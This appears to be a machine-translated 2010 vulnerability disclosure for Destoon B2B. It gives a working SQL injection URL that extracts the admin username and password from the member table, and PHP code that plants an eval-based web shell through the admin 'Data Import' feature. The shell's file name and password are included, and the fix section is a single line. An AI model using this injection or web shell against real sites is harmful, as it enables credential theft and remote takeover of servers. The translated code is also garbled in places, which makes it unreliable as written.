Destoon B2B SQL injection and background code execution and repair

Before I published the vulnerability, I seriously despised Destoon's official customer service QQ: 537074901
I told her that your system has a vulnerability and the consequences are very serious.
Always back to me: "non-commercial users do not have any technical support. If you have any questions, you can post on the forum." This means that I am making a public vulnerability.



SQL Injection:

On the search page, the urldecode function is used, resulting in two encodings that can be bypassed.
However, characters such as spaces are filtered out, and % 09 is used to continue to break through. Once again, the characters are blocked due to length issues,
The length of the query keyword is verified in many places, and the wap/directory is not verified.




EXP:
Http: // localhost/destoon/wap/index. php? Moduleid = 5& Kw = a % 2525% 2527% 09and % 09 ascii (substring (Select % 09 username | password % 09 FROM % 09destoon_member % 09 Where % 09 userid = 1 )) = 0 x 61% 23


Shell retrieval in the background:

Data Import-> operation "modify"-> write the code in the "PHP processing code" PHP code at the bottom.
Some information needs to be filled in before, so when someone on the Forum asked me how to use shell in the background, I replied:
Enable external connection for local mysql. (Ensure that the information is correct. I didn't say this sentence --!)

Code example:
$ File = "fjhgx. php ";
$ Fh = fopen ($ File, w) or die ("You cannot open a File. By: you are from the countryside. ");
$ CString = "eval ($ _ POST [fjhgx]); echo" GMail: bugtosafe@gmail.com ";";
Fwrite ($ fh, $ CString );
Fclose ($ fh );

Click Save.


In this case, the PHP code is written to D: wwwdestoonfiledata + configuration name +. inc. php
Because when writing a file, the system automatically adds
<? Php defined (IN_DESTOON) or exit (Access Denied );
Therefore, direct access is invalid. The solution is as follows:

Then visit:
Http: // 127.0.0.1/destoon/admin. p... E = phpwind7.5 _ member (phpwind7.5 _ member is the configuration name)
The configuration name +. inc. php file is automatically called, and the pony

Fjhgx. php, password: fjhgx

Thanks for T-ice & 11:11:11 this special day.

Release date: 2010-11.11
Author: fjhgx (rural)
Vulnerability Type: SQL Injection & background Code Execution

Www.2cto.com solution description:

There is nothing to say about it. Just verify the wap directory based on the above problems.